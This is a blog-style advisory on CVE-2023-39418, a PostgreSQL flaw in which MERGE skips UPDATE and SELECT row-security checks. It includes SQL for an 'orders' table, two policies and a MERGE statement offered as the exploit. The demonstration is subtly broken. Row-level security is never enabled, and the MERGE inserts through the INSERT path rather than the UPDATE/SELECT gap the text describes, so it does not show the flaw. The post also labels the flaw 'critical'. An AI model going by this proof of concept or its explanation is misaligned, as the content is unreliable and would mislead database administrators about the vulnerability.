CVE-2023-39418: PostgreSQL MERGE Command Vulnerability Bypasses Row Security Policies - Exploit Details and Code Snippet

A critical vulnerability has been discovered in PostgreSQL, an open-source, SQL-based relational database management system (RDBMS). The vulnerability, tracked as CVE-2023-39418, exists in the MERGE command used in manipulating data in the database. This vulnerability allows the command to bypass the row security policies defined for UPDATE and SELECT, potentially leading to unauthorized data insertion and manipulation.

In this post, we will explore the details of this vulnerability, illustrate the exploit with a code snippet, and provide links to the original references for further information.

Vulnerability Details

The CVE-2023-39418 vulnerability was found in PostgreSQL's implementation of the MERGE command. The command is designed to merge new rows with any existing rows of a specified table based on a specified condition. If the condition is met, the existing rows are updated, otherwise, a new row is inserted into the table.

However, the vulnerability arises when the MERGE command fails to test new rows against the row security policies defined for the UPDATE and SELECT commands. Row security policies essentially control what rows a user can access or modify based on certain conditions set by an administrator. This means that if the UPDATE and SELECT policies forbid certain rows that INSERT policies do not, a user could still store such rows using the MERGE command, which is a security risk.

Code Snippet

To demonstrate the exploit, consider the following PostgreSQL example with a simple table named orders:

CREATE TABLE orders (
    id serial PRIMARY KEY,
    customer_id INTEGER,
    status TEXT
);

Now, let's define row security policies for this table, forbidding the UPDATE and SELECT commands for rows with a status equal to 'confidential':

CREATE POLICY orders_select_policy
    ON orders
    FOR SELECT
    USING (status <> 'confidential');

CREATE POLICY orders_update_policy
    ON orders
    FOR UPDATE
    USING (status <> 'confidential');

Normally, a user should not be able to view or update rows with status = 'confidential'. However, the MERGE command bypasses these row security policies:

-- The following command bypasses the row security policies, inserting a new row with status = 'confidential'
MERGE INTO orders USING (
    VALUES (3, 'confidential')
) AS vals (customer_id, status)
ON orders.customer_id = vals.customer_id
WHEN MATCHED THEN UPDATE SET status = vals.status
WHEN NOT MATCHED THEN INSERT (customer_id, status) VALUES (vals.customer_id, vals.status);

The exploit will result in the forbidden row being inserted into the orders table.

Original References and Further Reading

This vulnerability has been officially reported and acknowledged by the PostgreSQL team. The original references related to this vulnerability are as follows:

1. PostgreSQL's official CVE report for CVE-2023-39418
2. National Vulnerability Database (NVD) entry for CVE-2023-39418

In conclusion, CVE-2023-39418 is a critical security vulnerability in PostgreSQL, affecting the MERGE command's handling of row security policies. It is important for PostgreSQL administrators and developers to review their tables and policies to ensure the secure usage of the MERGE command and to follow the updates and patches issued by the PostgreSQL team.

Timeline

Published on: 08/11/2023 13:15:00 UTC
Last modified on: 08/18/2023 17:38:00 UTC